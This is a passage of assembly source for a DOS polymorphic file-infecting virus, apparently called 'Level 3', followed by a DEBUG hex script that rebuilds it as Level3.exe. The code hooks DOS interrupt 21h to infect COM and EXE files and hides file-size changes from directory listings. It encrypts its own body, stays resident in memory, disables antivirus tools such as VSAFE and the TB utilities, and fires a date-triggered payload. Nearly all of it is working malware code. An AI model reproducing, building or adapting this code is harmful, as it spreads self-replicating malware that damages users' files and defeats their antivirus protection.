|||
|
sbb di,dx
|
|||
|
mov ax,si
|
|||
|
mov dx,di
|
|||
|
div v16
|
|||
|
mov [bx].vCS,ax
|
|||
|
mov bheader.id,ax ;store org cs
|
|||
|
mov ax,[bx].vSS
|
|||
|
mul v16
|
|||
|
mov cx,[bx].vSP
|
|||
|
add ax,cx
|
|||
|
adc dx,0
|
|||
|
sub ax,si
|
|||
|
sbb dx,di
|
|||
|
jc zjvs
|
|||
|
sub ax,DEPSTACK
|
|||
|
sbb dx,0
|
|||
|
jc pikon1
|
|||
|
add [bx].vSS,(EXTENTION-1)/16
|
|||
|
zjvs: mov rel,LENVIR
|
|||
|
mov gba,0
|
|||
|
mov word ptr rsp+1,cx
|
|||
|
mov eflag,010b ;setting parameters for EMM
|
|||
|
iCOM2: mov ax,gba
|
|||
|
mov word ptr ds:(offset dcmsi+1),ax ;start for decoder
|
|||
|
mov word ptr ds:(offset stsub+1),ax ;for proper relocation
|
|||
|
mov dx,6
|
|||
|
call rnd_get
|
|||
|
or dx,dx
|
|||
|
jz nguv
|
|||
|
or eflag,100b ;generates intro with probability 5 : 1
|
|||
|
nguv: call EMM
|
|||
|
call encode
|
|||
|
jc pikon1
|
|||
|
mov ax,hip
|
|||
|
cmp bheader.flag,0
|
|||
|
jne iEXE3
|
|||
|
sub ax,103h
|
|||
|
mov word ptr ds:(offset header+1),ax ;setting jump in com
|
|||
|
jmp short iCOM3
|
|||
|
iEXE3: mov header.vIP,ax ;write down ip
|
|||
|
iCOM3: mov cx,di
|
|||
|
mov dx,offset hbuf
|
|||
|
sub cx,dx
|
|||
|
call write_file
|
|||
|
pikon1: jc ikon
|
|||
|
call start_file
|
|||
|
mov cx,18h
|
|||
|
mov dx,offset header
|
|||
|
call write_file
|
|||
|
jc ikon
|
|||
|
add lenlo,EXTENTION
|
|||
|
adc lenhi,0 ;change length
|
|||
|
mov dx,25
|
|||
|
call rnd_get ;with probability 1 : 25 does not mark
|
|||
|
or dx,dx
|
|||
|
jz ikon
|
|||
|
mov bx,offset ftime
|
|||
|
call identify
|
|||
|
mov [bx],ax ;mark file
|
|||
|
ikon: mov dx,lenlo
|
|||
|
mov cx,lenhi
|
|||
|
call pos_start
|
|||
|
xor cx,cx
|
|||
|
call write_file ;allignment to constant length increase
|
|||
|
mov ax,5701h
|
|||
|
mov cx,ftime
|
|||
|
mov dx,fdate
|
|||
|
call mhandle ;setting time and date
|
|||
|
retn
|
|||
|
|
|||
|
sublen:
|
|||
|
sub word ptr es:[bx],EXTENTION
|
|||
|
sbb word ptr es:[bx+2],0
|
|||
|
jnc npretn
|
|||
|
add word ptr es:[bx],EXTENTION
|
|||
|
adc word ptr es:[bx+2],0
|
|||
|
npretn: retn
|
|||
|
|
|||
|
NOUNF=14 ;number of unfriendly programms
|
|||
|
titstr db 3,'COM',3,'EXE'
|
|||
|
titstr1 db 4,'SCAN',7,'VSHIELD',5,'CLEAN',8,'FINDVIRU',5,'GUARD'
|
|||
|
db 8,'VIVERIFY',2,'TB',2,'-V',7,'VIRSTOP',3,'NOD',4,'HIEW'
|
|||
|
db 5,'PASCA',7,'NETENVI',6,'F-PROT',6,'CHKDSK'
|
|||
|
|
|||
|
check:
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push ax
|
|||
|
mov si,dx
|
|||
|
mov bx,si
|
|||
|
xor di,di
|
|||
|
mov cx,LENFNB
|
|||
|
ol1: lodsb
|
|||
|
cmp al,'\'
|
|||
|
je stfn
|
|||
|
cmp al,'/'
|
|||
|
je stfn
|
|||
|
cmp al,':'
|
|||
|
jne nstfn
|
|||
|
stfn: mov bx,si
|
|||
|
nstfn: cmp al,'.'
|
|||
|
jne itnb1
|
|||
|
mov di,si
|
|||
|
itnb1: or al,al
|
|||
|
jz whname
|
|||
|
loop ol1
|
|||
|
jmp short oinok
|
|||
|
whname: cmp di,bx
|
|||
|
jbe oinok
|
|||
|
mov si,di
|
|||
|
mov di,offset titstr
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
call compare
|
|||
|
je porok
|
|||
|
call compare
|
|||
|
jne oinok ;COM or EXE ?
|
|||
|
|
|||
|
porok: mov cl,NOUNF+1
|
|||
|
mov si,bx
|
|||
|
mov di,offset titstr1
|
|||
|
ol2: push cx
|
|||
|
call compare
|
|||
|
pop cx
|
|||
|
je fkrpg
|
|||
|
loop ol2 ;check for unfriendly progs
|
|||
|
oiok: clc
|
|||
|
okon: pop ax
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
retn
|
|||
|
fkrpg: cmp cx,2
|
|||
|
ja nvpst ;if F-PROT or CHKDSK switch off stealth
|
|||
|
pop ax
|
|||
|
push ax
|
|||
|
cmp ah,4bh ;execute ?
|
|||
|
jne nvpst
|
|||
|
mov byte ptr cs:(offset rpps1+1),offset ndnxt-offset con1
|
|||
|
nvpst: cmp cx,1
|
|||
|
je oiok ;can infect CHKDSK
|
|||
|
oinok: stc
|
|||
|
jmp okon
|
|||
|
|
|||
|
compare:
|
|||
|
push si
|
|||
|
mov cl,byte ptr es:[di]
|
|||
|
inc di
|
|||
|
mov ax,di
|
|||
|
add ax,cx
|
|||
|
push ax
|
|||
|
popdp: lodsb
|
|||
|
cmp al,'a'
|
|||
|
jb ponmp
|
|||
|
cmp al,'z'
|
|||
|
ja ponmp
|
|||
|
sub al,('a'-'A')
|
|||
|
ponmp: scasb
|
|||
|
loope popdp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
retn
|
|||
|
|
|||
|
;************** 21h handler *************
|
|||
|
|
|||
|
infname: ;in ds:dx is file name
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push ds
|
|||
|
push es
|
|||
|
|
|||
|
call eliminate_av
|
|||
|
|
|||
|
call set_on_24
|
|||
|
mov ax,4300h
|
|||
|
call int21
|
|||
|
mov cs:attrib,cx
|
|||
|
mov ax,4301h
|
|||
|
xor cx,cx
|
|||
|
call int21
|
|||
|
jc errnd_l1
|
|||
|
mov ax,3d02h
|
|||
|
call int21
|
|||
|
jc errnd_l2
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov handle,ax
|
|||
|
call infect
|
|||
|
mov ah,3eh
|
|||
|
call mhandle
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
errnd_l2: mov ax,4301h
|
|||
|
db 0b9h
|
|||
|
attrib dw ? ;mov cx,attrib
|
|||
|
call int21
|
|||
|
errnd_l1: call set_off_24
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
res21:
|
|||
|
sti
|
|||
|
rpps1: jmp short con1 ;switched jump for switching off stealth
|
|||
|
con1: cmp ah,11h
|
|||
|
je dtrad
|
|||
|
cmp ah,12h
|
|||
|
jne dnxt
|
|||
|
dtrad: push bx
|
|||
|
push es
|
|||
|
push ax
|
|||
|
mov ah,2fh
|
|||
|
call int21
|
|||
|
pop ax
|
|||
|
call int21
|
|||
|
cmp al,0ffh
|
|||
|
je dterr
|
|||
|
push ax
|
|||
|
cmp byte ptr es:[bx],0ffh
|
|||
|
jne nexp
|
|||
|
add bx,7
|
|||
|
nexp: add bx,17h
|
|||
|
call identify
|
|||
|
pop ax
|
|||
|
jnc dterr
|
|||
|
add bx,1dh-17h
|
|||
|
call sublen
|
|||
|
dterr: pop es
|
|||
|
pop bx
|
|||
|
iret
|
|||
|
dnxt: cmp ah,4eh
|
|||
|
je dffh
|
|||
|
cmp ah,4fh
|
|||
|
jne ndnxt
|
|||
|
dffh: push bx
|
|||
|
push es
|
|||
|
push ax
|
|||
|
mov ah,2fh
|
|||
|
call int21
|
|||
|
pop ax
|
|||
|
call int21
|
|||
|
jc ret21
|
|||
|
push ax
|
|||
|
add bx,16h
|
|||
|
call identify
|
|||
|
pop ax
|
|||
|
jnc ret21_stc
|
|||
|
add bx,1ah-16h
|
|||
|
call sublen
|
|||
|
ret21_stc:
|
|||
|
clc
|
|||
|
ret21:
|
|||
|
pop es
|
|||
|
pop bx
|
|||
|
rf2: push ax
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
lahf
|
|||
|
mov [bp+08h],ah
|
|||
|
pop bp
|
|||
|
pop ax
|
|||
|
iret
|
|||
|
ndnxt: cmp ah,31h
|
|||
|
je trmsr
|
|||
|
cmp ah,4ch
|
|||
|
jne nkprg
|
|||
|
mov byte ptr cs:(offset rpps1+1),0
|
|||
|
trmsr: call eliminate_av
|
|||
|
nkprg: cld
|
|||
|
push dx
|
|||
|
cmp ax,4b00h
|
|||
|
je infac
|
|||
|
cmp ax,6c00h
|
|||
|
jne nxts
|
|||
|
test dl,00010010b
|
|||
|
mov dx,si
|
|||
|
jnz saveh
|
|||
|
nxts: cmp ah,3ch
|
|||
|
je saveh
|
|||
|
cmp ah,5bh
|
|||
|
je saveh
|
|||
|
cmp ah,3eh
|
|||
|
jne jornd_l21
|
|||
|
cmp bx,cs:chandle
|
|||
|
jne jornd_l21
|
|||
|
or bx,bx
|
|||
|
jz jornd_l21
|
|||
|
mov cs:chandle,0
|
|||
|
call int21
|
|||
|
jc pdxrf2
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset fname
|
|||
|
call infname
|
|||
|
pop ds
|
|||
|
miretc: clc
|
|||
|
pdxrf2: pop dx
|
|||
|
jmp rf2
|
|||
|
jornd_l21: pop dx
|
|||
|
cli
|
|||
|
jmp cs:oriv21
|
|||
|
|
|||
|
infac:
|
|||
|
call check
|
|||
|
jc jornd_l21
|
|||
|
call infname
|
|||
|
jmp short jornd_l21
|
|||
|
|
|||
|
saveh:
|
|||
|
cmp cs:chandle,0
|
|||
|
jne jornd_l21
|
|||
|
call check
|
|||
|
jc jornd_l21
|
|||
|
mov cs:rhdx,dx
|
|||
|
pop dx
|
|||
|
push dx
|
|||
|
call int21
|
|||
|
db 0bah
|
|||
|
rhdx dw ? ;mov dx,rhdx
|
|||
|
jc pdxrf2
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push es
|
|||
|
mov si,dx
|
|||
|
mov di,offset chandle
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
stosw
|
|||
|
mov cx,LENFNB
|
|||
|
rep movsb
|
|||
|
pop es
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
jmp short miretc
|
|||
|
|
|||
|
NUMTBN=4
|
|||
|
tbname db 'TBMEMXXX','TBCHKXXX','TBDSKXXX','TBFILXXX'
|
|||
|
|
|||
|
eliminate_av:
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
mov ah,0ffh
|
|||
|
xor bl,bl
|
|||
|
int 13h ;eliminates NOHARD
|
|||
|
mov ah,0feh
|
|||
|
int 13h ;eliminates NOFLOPPY
|
|||
|
mov ax,0fa02h
|
|||
|
mov dx,5945h
|
|||
|
mov bl,31h
|
|||
|
int 16h ;eliminates VSAFE
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah,52h
|
|||
|
int 21h
|
|||
|
les bx,es:[bx+22h]
|
|||
|
next_device:
|
|||
|
mov si,offset tbname-8
|
|||
|
mov cx,NUMTBN
|
|||
|
next_tb_utility:
|
|||
|
push cx
|
|||
|
add si,8
|
|||
|
lea di,[bx+0ah]
|
|||
|
mov cx,4
|
|||
|
push si
|
|||
|
repe cmpsw
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
loopne next_tb_utility
|
|||
|
jne not_tb_utility
|
|||
|
or byte ptr es:[0016h],01h ;eliminates TB-utility
|
|||
|
not_tb_utility:
|
|||
|
les bx,es:[bx]
|
|||
|
cmp bx,0ffffh
|
|||
|
jne next_device
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
owname db 'COMMAND',00h
|
|||
|
stsub:
|
|||
|
mov ax,0000h
|
|||
|
mov cl,4
|
|||
|
shr ax,cl
|
|||
|
mov dx,cs
|
|||
|
add ax,dx
|
|||
|
push ax
|
|||
|
mov ax,offset mdcs
|
|||
|
push ax
|
|||
|
retf ;relocation cs:ip
|
|||
|
|
|||
|
mdcs:
|
|||
|
cld
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,DEPTH
|
|||
|
sub ax,ssp
|
|||
|
dec cx
|
|||
|
div cl ;al=ax/3
|
|||
|
shl ax,1 ;ax=ax*2/3
|
|||
|
add sp,ax ;sp to orig. value
|
|||
|
|
|||
|
;**************** action *****************
|
|||
|
|
|||
|
mov cl,ORDER
|
|||
|
mov ax,counter
|
|||
|
div cl
|
|||
|
or ah,ah
|
|||
|
jnz nap
|
|||
|
mov ah,2ah
|
|||
|
int 21h
|
|||
|
cmp dl,7
|
|||
|
jne nap
|
|||
|
mov ah,09h
|
|||
|
mov dx,offset mess1
|
|||
|
int 21h
|
|||
|
mov dx,3cch
|
|||
|
in al,dx
|
|||
|
and al,11111101b
|
|||
|
mov dl,0c2h
|
|||
|
out dx,al
|
|||
|
mov ah,4ch
|
|||
|
int 21h
|
|||
|
|
|||
|
nap: call eliminate_av ;eliminates AVIR
|
|||
|
|
|||
|
mov ah,62h
|
|||
|
int 21h ;in bx PSP
|
|||
|
push bx
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ds,word ptr ds:(offset MEMPOS+3)
|
|||
|
cmp word ptr owname,'OC'
|
|||
|
je pinchb ;already res
|
|||
|
|
|||
|
;**************** instalation into memory ******************
|
|||
|
|
|||
|
xchg ax,bx
|
|||
|
dec ax
|
|||
|
mov ds,ax
|
|||
|
add ax,ds:[03h]
|
|||
|
sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
|
|||
|
mov dx,cs
|
|||
|
add dx,(LENVIR-1)/16+1 ;end of virus code
|
|||
|
cmp ax,dx
|
|||
|
jb tranw
|
|||
|
mov dx,cs
|
|||
|
add dx,cs:bheader.min ;min memory req.
|
|||
|
cmp ax,dx
|
|||
|
jb tranw
|
|||
|
mov dx,ss
|
|||
|
mov si,sp
|
|||
|
inc si
|
|||
|
mov cl,4
|
|||
|
shr si,cl
|
|||
|
inc si
|
|||
|
add dx,si ;end of stack
|
|||
|
cmp ax,dx
|
|||
|
jnb intdp
|
|||
|
tranw: mov ah,48h
|
|||
|
mov bx,0ffffh
|
|||
|
int 21h
|
|||
|
cmp bx,((end_res-start_virus)-1)/16+2
|
|||
|
jnb dbjdv
|
|||
|
pinchb: jmp inchb
|
|||
|
dbjdv: mov ah,48h
|
|||
|
int 21h
|
|||
|
dec ax
|
|||
|
mov ds,ax
|
|||
|
mov word ptr ds:[01h],0000h
|
|||
|
add ax,ds:[03h]
|
|||
|
sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
|
|||
|
intdp: mov dl,byte ptr ds:[00h]
|
|||
|
mov byte ptr ds:[00h],'M'
|
|||
|
sub word ptr ds:[03h],((end_res-start_virus)-1)/16+2
|
|||
|
mov ds:[12h],ax
|
|||
|
mov ds,ax
|
|||
|
mov byte ptr ds:[00h],dl
|
|||
|
inc ax
|
|||
|
mov word ptr ds:[01h],ax
|
|||
|
mov word ptr ds:[03h],((end_res-start_virus)-1)/16+1
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
inc counter ;generation
|
|||
|
|
|||
|
mov si,offset owname
|
|||
|
mov di,08h
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
movsw ;name of owner
|
|||
|
mov es,ax
|
|||
|
xor si,si
|
|||
|
mov di,si
|
|||
|
mov cx,LENVIR
|
|||
|
rep movsb ;copying of body
|
|||
|
mov si,offset zencode
|
|||
|
mov cx,(zenden-zencode)
|
|||
|
rep movsb ;copying of necessay routines
|
|||
|
xor ax,ax
|
|||
|
mov es:chandle,ax ;initialisation of variable
|
|||
|
mov ds,ax
|
|||
|
mov ax,ds:046ch
|
|||
|
mov es:rnd1,ax
|
|||
|
mov ax,ds:046eh
|
|||
|
mov es:rnd2,ax ;initialisation rnd_get
|
|||
|
mov byte ptr ds:(offset MEMPOS),0eah
|
|||
|
mov word ptr ds:(offset MEMPOS+1),offset res21
|
|||
|
mov word ptr ds:(offset MEMPOS+3),es
|
|||
|
cli
|
|||
|
mov ax,ds:(4*21h)
|
|||
|
mov word ptr es:oriv21,ax
|
|||
|
mov ax,ds:(4*21h+2)
|
|||
|
mov word ptr es:(oriv21+2),ax
|
|||
|
mov word ptr ds:(4*21h),MEMPOS
|
|||
|
mov ds:(4*21h+2),ds
|
|||
|
sti
|
|||
|
inchb: pop bx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov es,bx
|
|||
|
mov si,offset bheader
|
|||
|
cmp [si].flag,0
|
|||
|
jne zuEXE
|
|||
|
mov di,100h
|
|||
|
mov [si].vIP,di
|
|||
|
mov [si].vCS,bx
|
|||
|
movsb
|
|||
|
movsw
|
|||
|
jmp short zuCOM
|
|||
|
zuEXE: mov ax,cs
|
|||
|
sub ax,[si].id ;sub cs from exe header (infected)
|
|||
|
add [si].vCS,ax
|
|||
|
add ax,[si].vSS
|
|||
|
mov ss,ax
|
|||
|
zuCOM: mov ds,bx
|
|||
|
xor ax,ax
|
|||
|
jmp dword ptr cs:bheader.vIP
|
|||
|
|
|||
|
counter dw 1250
|
|||
|
mess1 db 0dh,0ah,'Welcome to the Explosion''s Mutation Machine !',0dh,0ah
|
|||
|
db 'Dis is level 3.',0dh,0ah,'$'
|
|||
|
|
|||
|
end_virus label near
|
|||
|
|
|||
|
;************************ copied routines and heap ***********************
|
|||
|
|
|||
|
encode:
|
|||
|
mov cx,LENVIR
|
|||
|
xor dx,dx ;offset start_virus
|
|||
|
call zp1
|
|||
|
mov ah,40h
|
|||
|
mov bx,handle
|
|||
|
pushf
|
|||
|
db 9ah ;call oriv21
|
|||
|
oriv21 dd ?
|
|||
|
jc ec1
|
|||
|
cmp ax,cx
|
|||
|
ec1: pushf
|
|||
|
call zp1
|
|||
|
popf
|
|||
|
retn
|
|||
|
zp1: push cx
|
|||
|
mov si,dx
|
|||
|
ecmax: mov ax,1234h
|
|||
|
mov cx,(LENVIR-1)/2+1
|
|||
|
zp2: xor [si],ax
|
|||
|
ecaax1: add ax,1234h
|
|||
|
inc si
|
|||
|
xor [si],ax
|
|||
|
ecaax2: add ax,1234h
|
|||
|
inc si
|
|||
|
loop zp2
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
|
|||
|
res24:
|
|||
|
mov al,03h
|
|||
|
iret
|
|||
|
|
|||
|
handle dw ?
|
|||
|
header strc <>
|
|||
|
off24 dw ?
|
|||
|
seg24 dw ?
|
|||
|
ftime dw ?
|
|||
|
fdate dw ?
|
|||
|
lenlo dw ?
|
|||
|
lenhi dw ?
|
|||
|
chandle dw ?
|
|||
|
fname db LENFNB dup(?)
|
|||
|
|
|||
|
retnaddr dw ?
|
|||
|
sodec dw ?
|
|||
|
hend dw ?
|
|||
|
ptei dw ?
|
|||
|
ei db 6*25 dup(?)
|
|||
|
eei label near
|
|||
|
rel dw ?
|
|||
|
gba dw ?
|
|||
|
eflag db ? ;input flags (0-set DS,1-set SP,2-gen. intro)
|
|||
|
hip dw ?
|
|||
|
hbuf db LENHBUF dup(?)
|
|||
|
|
|||
|
end_res label near
|
|||
|
|
|||
|
virus_segment ends
|
|||
|
end stsub
|
|||
|
---------------------------
|
|||
|
N Level3.exe
|
|||
|
E 0100 4D 5A 04 01 0A 00 00 00 20 00 3D 00 FF FF 00 00
|
|||
|
E 0110 80 00 00 00 89 0E 09 00 3E 00 00 00 01 00 FB 30
|
|||
|
E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0380 B8 00 4C CD 21 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F
|
|||
|
E 03A0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03B0 00 00 00 01 00 00 00 00 00 10 00 1E 00 00 02 2A
|
|||
|
E 03C0 20 45 4D 4D 20 31 2E 30 20 2A 56 50 53 51 52 B9
|
|||
|
E 03D0 00 00 BB 00 00 BA 5A 01 B8 35 4E 96 92 85 C0 74
|
|||
|
E 03E0 02 F7 E3 E3 05 91 F7 E6 03 C1 96 F7 E3 03 D6 40
|
|||
|
E 03F0 83 D2 00 2E A3 43 00 2E 89 16 40 00 8B C2 59 33
|
|||
|
E 0400 D2 E3 04 F7 F1 EB 01 92 59 5B 58 5E C3 00 00 00
|
|||
|
E 0410 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
|
|||
|
E 0420 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
|
|||
|
E 0430 00 00 00 00 00 00 50 51 52 56 33 C9 AC 98 03 C8
|
|||
|
E 0440 3C FF AD 75 F7 41 5E 8B D1 E8 7E FF AC 98 2B C8
|
|||
|
E 0450 AD 3B D1 72 F7 96 5A 59 58 FF E6 50 53 8B F2 D1
|
|||
|
E 0460 E6 D1 E6 BB 7D 00 03 F3 B5 03 80 3E A5 00 00 75
|
|||
|
E 0470 11 83 C6 03 AC 98 96 03 F3 FE CD F6 C2 04 75 02
|
|||
|
E 0480 FE CD 5B 58 C3 51 56 BA 08 00 E8 3D FF E8 CB FF
|
|||
|
E 0490 F6 04 04 75 F2 5E 59 C3 50 32 E4 EB 03 50 B4 04
|
|||
|
E 04A0 51 56 55 BA 08 00 E8 21 FF 8B EA 33 D2 8A CA E8
|
|||
|
E 04B0 A9 FF AC 84 C4 75 0E 24 03 3C 03 74 04 3A C5 75
|
|||
|
E 04C0 04 41 4D 78 12 42 83 FA 08 72 E4 0A C9 75 03 F9
|
|||
|
E 04D0 EB 06 83 E2 07 EB D8 F8 5D 5E 59 58 C3 51 56 E8
|
|||
|
E 04E0 79 FF 46 80 FD 03 75 04 89 04 EB 08 80 FD 01 74
|
|||
|
E 04F0 01 46 88 04 5E 59 C3 51 56 E8 5F FF 46 80 FD 03
|
|||
|
E 0500 75 03 AD EB 07 80 FD 01 74 01 46 AC 5E 59 C3 0A
|
|||
|
E 0510 06 A5 00 52 B1 03 D2 E2 0A E2 5A C3 E8 66 FF 52
|
|||
|
E 0520 A0 A5 00 B1 03 D2 E0 0C B0 0A C2 AA 33 D2 E8 99
|
|||
|
E 0530 FE 92 5A E8 A7 FF E8 22 FF 08 2C 80 FD 03 75 04
|
|||
|
E 0540 AB EB 02 90 AA C3 E8 4F FF 72 FA E8 A9 FF 50 B8
|
|||
|
E 0550 8A C0 0A 06 A5 00 0A E2 8B DA E8 28 FF 3B DA 74
|
|||
|
E 0560 F9 E8 AF FF AB 58 E8 74 FF E8 EF FE 08 2C C3 2D
|
|||
|
E 0570 8C 01 2D B6 01 03 60 02 03 64 02 01 44 02 01 13
|
|||
|
E 0580 02 01 FB 01 FF BE DF 01 E9 AB FE C6 06 A5 00 01
|
|||
|
E 0590 F6 06 A0 00 01 75 0B E8 FE FE 72 06 B8 8E D8 0A
|
|||
|
E 05A0 E2 AB C3 C6 06 A5 00 01 BA 20 00 E8 1C FE B8 8C
|
|||
|
E 05B0 C0 0A E2 80 E4 F8 E8 CC FE 0A E2 AB E8 9C FE 80
|
|||
|
E 05C0 E4 18 74 04 80 24 FC C3 A0 9D 00 88 04 A1 9E 00
|
|||
|
E 05D0 89 44 01 C3 C6 06 A5 00 01 E8 BC FE 72 11 B8 8E
|
|||
|
E 05E0 C0 0A E2 AB E8 10 FF 80 0E 9D 00 03 A3 9E 00 C3
|
|||
|
E 05F0 B0 32 EB 02 B0 2A B4 C0 E8 8A FE 0A E2 E8 5B FE
|
|||
|
E 0600 08 2C C7 06 8C 02 32 C0 EB 77 A0 A5 00 00 06 8C
|
|||
|
E 0610 02 E8 E3 FE 8B 2E A2 00 55 9D FB FC 0A C3 9C 5D
|
|||
|
E 0620 89 2E A2 00 E9 B6 FE E8 E0 FF 80 0E A1 00 01 C3
|
|||
|
E 0630 2D F7 02 2D DE 02 0A C4 02 FF AC B4 C3 A3 8C 02
|
|||
|
E 0640 AC A2 D6 02 AC B4 C0 A3 E8 02 AD A3 FE 02 BE A0
|
|||
|
E 0650 02 E9 E2 FD 33 D2 E8 02 FE AC 24 03 3C 03 74 04
|
|||
|
E 0660 3A C5 75 23 52 B0 0C 0A 06 A5 00 AA EB 29 E8 27
|
|||
|
E 0670 FE 72 3C E8 81 FE 93 B8 0A C0 0A E2 E8 1E FE 72
|
|||
|
E 0680 2E E8 8B FE AB EB A0 E8 13 FE 72 23 52 B8 80 C8
|
|||
|
E 0690 0A 06 A5 00 0A E2 AB 33 D2 E8 2E FD 8B DA 5A E8
|
|||
|
E 06A0 85 FF 93 80 3E A5 00 00 74 04 AB EB 02 90 AA C3
|
|||
|
E 06B0 0A 0C 0A 80 C8 BE 20 03 EB 80 22 24 22 80 E0 BE
|
|||
|
E 06C0 2A 03 EB F4 32 34 32 80 F0 BE 34 03 EB EA 84 A8
|
|||
|
E 06D0 84 F6 C0 BE 3E 03 C6 06 0F 01 00 E8 5C FF C6 06
|
|||
|
E 06E0 0F 01 04 C3 3A 3C 3A 80 F8 BE 54 03 EB E8 02 04
|
|||
|
E 06F0 02 80 C0 BE 5E 03 EB D4 2A 2C 2A 80 E8 BE 68 03
|
|||
|
E 0700 EB CA 12 14 12 80 D0 BE 72 03 F6 06 A1 00 01 75
|
|||
|
E 0710 BB C3 1A 1C 1A 80 D8 BE 82 03 EB EE 01 B7 03 01
|
|||
|
E 0720 A5 03 FF AD A3 8C 02 AD A3 AB 03 AC A2 C2 03 BE
|
|||
|
E 0730 8C 03 E9 01 FD E8 65 FD 72 D7 B8 FE C0 0A 06 A5
|
|||
|
E 0740 00 0A E2 AB E9 C3 FE C6 06 A5 00 01 E8 4E FD 72
|
|||
|
E 0750 C0 B0 40 0A C2 AA E9 B1 FE FE C0 FE C0 40 BE C9
|
|||
|
